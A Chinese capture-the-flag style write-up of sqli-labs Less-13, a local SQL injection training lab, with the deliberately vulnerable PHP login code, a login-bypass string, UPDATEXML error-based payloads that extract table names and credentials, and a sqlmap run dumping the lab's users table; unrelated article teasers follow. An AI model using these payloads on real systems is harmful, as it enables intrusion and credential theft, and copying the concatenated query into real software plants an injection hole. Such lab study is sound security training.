sqli-labs通关笔记-第13关 POST报错型注入(单引号括号闭合 手工注入+脚本注入两种方法)

目录

一、字符型注入

二、limit函数

三、GET方法与POST方法

四、源码分析

1、代码审计

2、SQL注入安全分析

3、报错型注入与联合注入

五、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句

(2)admin') #注入探测

(3)admin') or 1=1#注入探测

3、手工注入

 (1)获取数据库名

(2)获取表名

(3)获取列名

(4)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节通过手工注入和脚本注入共2种方法对第13关Less 13基于报错型的SQL注入关卡进行渗透实战,相对于前1-10关的最主要区别是报文参数的请求方法由GET变为POST,相对于第12关区别主要是闭合方式由双引号括号变为单引号括号,以及相对于11关和12关区别是登录成功后不再显示文字信息。  

一、字符型注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

二、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句“SELECT * FROM users WHERE id=('$id') LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

三、GET方法与POST方法

GET 和 POST 是 HTTP 协议中两种常用请求方法,GET 侧重 “获取”,参数可见且有局限性;POST 侧重 “提交”,参数隐蔽且更灵活。两者的详细区别如下表所示。

对比项GET 方法POST 方法
参数位置参数附在 URL 后(如?name=value参数放在 HTTP 请求体中
可见性参数暴露在 URL 中,不安全参数不可见,相对安全
编码支持只允许 ASCII 字符支持任何编码类型
安全性不适合传输敏感数据(如密码)更适合传输敏感数据
应用场景获取数据(如搜索、分页)提交数据(如表单、文件上传)
典型注入点URL 参数(如id=1' OR 1=1 --表单字段(如 POST 数据中的username

四、源码分析

1、代码审计

本关卡Less13是基于字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less13关卡的源码功能是登录验证页面,与12关的区别主要是闭合方式由双引号括号变为单引号括号,以及登录成功后不再显示用户名和密码,具体如下所示。

详细注释后的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-13- Double Injection- String- with twist</title> <!-- 双注入-字符串-带变化 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div><!-- 登录表单区域 -->
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;"><div style="padding-top:10px; font-size:15px;"><form action="" name="form1" method="post"> <!-- POST方式提交表单 --><div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;<input type="text" name="uname" value=""/> <!-- 用户名输入框 --></div>  <div> Password  : &nbsp;&nbsp;&nbsp;<input type="text" name="passwd" value=""/> <!-- 密码输入框 --></div></br><div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /> <!-- 提交按钮 --></div></form></div>
</div><div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00"><?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭PHP错误报告
error_reporting(0);// 检查是否提交了用户名和密码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname = $_POST['uname']; // 获取用户名$passwd = $_POST['passwd']; // 获取密码// 记录用户输入到日志文件$fp = fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// 构造SQL查询 - 使用括号和单引号@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) { // 登录成功echo "<br>";echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">';    // 注意:用户名和密码输出被注释掉echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; // 成功标志图片    } else { // 登录失败echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 关键安全风险点:显示数据库错误信息echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; // 失败图片echo "</font>";  }
}
?>
</font>
</div>
</body>
</html>

这是一个参数为用户名和密码的基于POST请求登录表单的登录验证页面,存在基于错误的SQL注入风险,通过用户名和密码字段的直接拼接构造SQL查询,并显示数据库错误信息,主要功能是:

  • 提供用户名和密码的登录表单(POST方法提交)

  • 记录所有登录尝试到result.txt日志文件

  • 使用括号和单引号构造SQL查询(WHERE username=('$uname')

  • 响应处理:

    • 登录成功:仅显示成功图片(不显示具体用户信息,无法使用union法注入)

    • 登录失败:显示数据库错误信息和失败图片

  • 关键风险点:显示详细的MySQL错误信息(有助于报错法注入)

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,原因如下:

  • 未过滤的用户输入:直接将POST参数包裹双引号括号后拼接到SQL语句中,没有任何过滤或转义处理,如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  • 字符串拼接方式:SQL查询使用单引号括号包裹用户输入,攻击者可以闭合单引号括号注入恶意代码。

  • 错误信息显示:当SQL查询出错时,代码会通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。

3、报错型注入与联合注入

报错法和UNION法是SQL注入中两种主要的数据提取技术,具体区别如下所示。

对比维度报错法(Error-based)UNION法(Union-based)
基本原理利用数据库错误消息返回敏感信息通过UNION合并查询结果集获取数据
依赖条件需要显示数据库错误信息需要页面显示查询结果
查询要求不要求返回数据,只需触发错误要求原查询和UNION查询的列数相同
技术复杂度中等(需构造特定错误)较低(直接拼接查询)
隐蔽性较高(产生错误日志)较低(正常查询)

不过本关卡相对于12关,不回显查询结果(如下图左所示),而12关显示查询结果(如下图右所示),而union联合注入法需要页面显示查询结果才可以渗透成功,故而本关卡无法使用union联合注入法。12关和13关都显示数据库的错误信息,故而这两个关卡都可以用报错法进行注入。 

五、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第14关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less13关卡,进入到靶场的第13关卡字符型POST注入关卡,页面提示登录框,需要输入用户名和密码,具体如下所示。

http://192.168.59.1/sqli-labs/Less-13/

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡通过 POST 方法接收用户名(username)和密码(passwd),通过括号和单引号包裹用户名和密码字段构造SQL查询。登录成功时只显示成功图片;失败时通过mysqli_error($con1)直接返回数据库错误信息,导致可利用报错注入(如UPDATEXML函数)泄露数据。具体代码如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

页面整体基于错误回显的字符串型注入场景,核心根源在于未对输入做安全处理且暴露数据库错误细节,闭合方式为单引号括号,故而本关卡可以通过POST方法字符型报错注入进行渗透。

(2)admin') #注入探测

bp开启拦截报文,根据上一步我们分析注入点为username和passwd,用户名为admin') #,密码任意,因admin用户存在,故而页面显示登录成功的图标,如下所示。

这个注入执行的SQL语句应为如下内容。 

SELECT username, password FROM users WHERE username=('admin')#') and password=('mooyuan') LIMIT 0,1;

 在navicat中的security数据库中执行如上SQL命令,执行结果如下所示。 

(3)admin') or 1=1#注入探测

根据上一步我们分析注入点为username和passwd,尝试万能登录,用户名为admin') or 1=1#,密码任意,如下所示。

点击登录submit,此时页面并没有像上一关卡一样显示“Your Login name:Dumb,Your Password:Dumb;”,只是有个提示登录成功的图片,具体如下所示。 

admin') or 1=1#

这个注入执行的SQL语句应为如下内容。

SELECT username, password FROM users WHERE username=('admin') or 1=1#') and password=('mooyuan') LIMIT 0,1;

 在navicat中的security数据库中执行如上SQL命令,执行结果如下所示。

在burpsuite的历史记录中找到这个报文,抓包效果如下所示。

此时在报文request请求部分右键,选择copy to file并保存为sqli-labs13.txt,如下所示。

3、手工注入

 (1)获取数据库名

如下所示,数据库的名称为“security”。

admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)-- 

(2)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)-- 

(3)获取列名

如下所示,数据库users表的列名分别为id,username,password。

admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'),0x7e),1)-- 

(4)获取数据

最后通过上一步获取到的列名来提取users表的第一行的username和password内容,如下所示渗透成功。

admin') AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,':',password) FROM users LIMIT 0,1),0x7e),1)-- 

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs13.txt  --current-db --dump --batch

其中sqli-labs13.txt中的注入点被修改为如下所示。

POST /sqli-labs/Less-13/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-13/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 51uname=admin&passwd=&submit=Submit

sqlmap渗透成功,可以通过报错法、时间盲注等方法渗透成功,具体信息如下所示。

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1101 HTTP(s) requests:
---
Parameter: uname (POST)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin') AND GTID_SUBSET(CONCAT(0x71707a6b71,(SELECT (ELT(4858=4858,1))),0x71716a7871),4858)-- vrZv&passwd=&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin') AND (SELECT 8465 FROM (SELECT(SLEEP(5)))hudZ)-- rODI&passwd=&submit=Submit
---
[23:19:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[23:19:34] [INFO] fetching current database
[23:19:34] [INFO] retrieved: 'security'
current database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/92465.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/92465.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

康复器材动静态性能测试台:精准检测,为康复器械安全保驾护航

在康复医疗领域&#xff0c;无论是轮椅、拐杖、假肢还是康复床&#xff0c;每一件器械的强度与稳定性都直接关系到使用者的安全与康复效果。如何确保这些器械在实际使用中经得起反复考验&#xff1f;Delta德尔塔仪器推出的康复器材动静态性能测试台&#xff0c;凭借其高精度、智…

vue3中el-table表头筛选

效果如下&#xff0c;可以勾选表头进行隐藏&#xff0c;也可以对表头进行拖动排序index主界面 <script> let tempHead []; const showFilter ref<boolean>(false); let tableHeadList ref<TableHeadItem[]>([{ prop: "displayId", label: "…

数据结构 之 【排序】(直接选择排序、堆排序、冒泡排序)

目录 1.直接选择排序 1.1直接选择排序的思想 1.2直接选择排序的代码逻辑 1.3完整排序代码 1.3.1一次只选一个最值 1.3.2一次筛选出两个最值 1.4直接选择排序的时间复杂度与空间复杂度 2.堆排序 2.1堆排序的思想 2.2堆排序的具体步骤 2.3堆排序图解 2.4完整排序代码…

用手机当外挂-图文并茂做报告纪要

前阵参加一个峰会,看到演讲嘉宾每翻一页PPT,下面的观察就举起手机一顿拍。实话说这种拍下来的,难说还会拿出来看,而且再看的时候也未必能对应到当时主讲人的一些解释 。 如果现场将图片保存到笔记本电脑,并快速记录关键信息,这样听完一个报告可能就直接输出一篇报道了。 有…

Vue的ubus emit/on使用

这段代码是 Vue.js 组件中的 mounted 生命周期钩子函数&#xff0c;主要作用是监听一个名为 “macSelectData” 的全局事件。具体行为如下&#xff1a;分步解释&#xff1a;mounted() 生命周期钩子 当组件被挂载到 DOM 后&#xff0c;Vue 会自动调用 mounted() 方法。这里常用于…

rsync报错解决

问题说明 [rootlocalhost shyn]# rsync -avz --checksum "root192.168.159.133:/tmp/shyn" "/tmp /shyn"WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! …

ArKTS: DAL,Model,BLL,Interface,Factory using SQLite

HarmonyOS 用ohos.data.rdb 用DBHelper.ets 共用调用SQLite 库&#xff0c;进行DAL,Model,BLL,Interface,Factory 框架模式&#xff0c;表为CREATE TABLE IF NOT EXISTS signInRecord ( id INTEGER PRIMARY KEY AUTOINCREMENT, employeeId TEXT NOT NULL, employeeName TEXT NO…

MySQL JSON 数据类型用法及与传统JSON字符串的对比 JSON数据类型简介

文章目录前言1. 基本用法JSON数据类型 vs 传统JSON字符串1. 存储方式2. 查询方式对比3. 索引支持JSON存储对象和数组的性能考虑1. 存储对象2. 存储数组性能对比总结最佳实践建议前言 MySQL从 5.7 版本开始引入了 JSON 数据类型&#xff0c;专门用于存储 JSON 格式的数据。与传…

C++:list(1)list的使用

list的使用一.list基本的结构1.环状双向链表2.哨兵节点3.迭代器4.节点结构5.链表遍历6.迭代器失效二.list的基本使用1.test01函数&#xff1a;主要测试std::list的初始化方式及遍历2.test02函数&#xff1a;主要测试std::list的常用成员函数操作3.测试结果如下三.list的其他操作…

ArcGIS地形起伏度计算

地形起伏度计算地形起伏度步骤1&#xff1a;计算最大值。步骤2&#xff1a;计算最小值。步骤3&#xff1a;计算地形起伏度。地形起伏度、地形粗糙度、地表切割深度和高程变异系数均为坡面复杂度因子&#xff0c;是一种宏观的地形信息因子&#xff0c;反映的是较大的区域内地表坡…

llama factory新手初步运行完整版

1、新建conda环境名称为llama_factory&#xff0c;并激活 conda create -n llama_factory python3.10 conda activate llama_factory2、激活后可检查内部包是否纯净&#xff0c;要确保环境内包较纯净&#xff0c;不然后续安装对应包会出现一系列水土不服的问题&#xff0c;导致…

Tomcat与JDK版本对照全解析:避坑指南与生产环境选型最佳实践

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 持续学习&#xff0c;不断…

短视频矩阵的未来前景:机遇无限,挑战并存

在当今数字化信息飞速传播的时代&#xff0c;短视频以其独特的魅力迅速席卷全球&#xff0c;成为人们获取信息、娱乐消遣的重要方式之一。短视频矩阵作为一种高效的内容传播与运营模式&#xff0c;正逐渐展现出其强大的影响力和潜力。本文将深入探讨短视频矩阵的未来前景&#…

【数据结构】哈希——位图与布隆过滤器

目录 位图&#xff1a; 引入 位图实现&#xff1a; 位图的结构 插入数据(标记数据) 删除数据(重置数据) 查找数据 位图完整代码&#xff1a; 位图的优缺点&#xff1a; 布隆过滤器&#xff1a; 引入 布隆过滤器实现&#xff1a; 布隆过滤器的结构&#xff1a; 插入…

本地运行C++版StableDiffusion!开源应用StableVerce发布

本地运行C版StableDiffusion&#xff01;开源应用StableVerce发布 StableVerse是一个用C开发的本地运行的图形工具。适合初学者快速入门&#xff1b;适用于办公室工作人员的文本和图像制作的小规模计算能力场景。 开源地址&#xff1a;https://github.com/kelvin-luo/StableVer…

OpenLayers 快速入门(七)矢量数据

看过的知识不等于学会。唯有用心总结、系统记录&#xff0c;并通过温故知新反复实践&#xff0c;才能真正掌握一二 作为一名摸爬滚打三年的前端开发&#xff0c;开源社区给了我饭碗&#xff0c;我也将所学的知识体系回馈给大家&#xff0c;助你少走弯路&#xff01; OpenLayers…

【PTA数据结构 | C语言版】关于堆的判断

本专栏持续输出数据结构题目集&#xff0c;欢迎订阅。 文章目录题目代码题目 将一系列给定数字顺序插入一个初始为空的最小堆。随后判断一系列相关命题是否为真。命题分下列几种&#xff1a; x is the root&#xff1a;x是根结点&#xff1b;x and y are siblings&#xff1a…

[CH582M入门第十步]蓝牙从机

前言 学习目标: 1、初步了解BLE协议 2、BLE从机代码解析 3、使用手机蓝牙软件控制CH582M从机LED亮灭一、蓝牙介绍 蓝牙(Bluetooth)是一种短距离无线通信技术,主要用于设备之间的数据传输和通信。它由爱立信(Ericsson)于1994年提出,现由蓝牙技术联盟(Bluetooth SIG)维…

力扣(LeetCode) ——轮转数组(C语言)

题目&#xff1a;轮转数组 给定一个整数数组 nums&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 示例1&#xff1a; 输入&#xff1a; nums [1,2,3,4,5,6,7]&#xff0c;k 3 输出&#xff1a; [5,6,7,1,2,3,4] 解释&#xff1a; 向右轮转 1 步:…

Rocky9部署Zabbix7(小白的“升级打怪”成长之路)

目录 一、关闭防火墙和SElinux和配置安装源 二、zabbxi服务器配置 1、安装Zabbix server&#xff0c;Web前端&#xff0c;agent &#xff0c;mysql-server 2、配置mysql数据库 3、为Zabbix server配置数据库 4、启动对应服务 三、登录zabbix 四、客户端部署 五、解决中…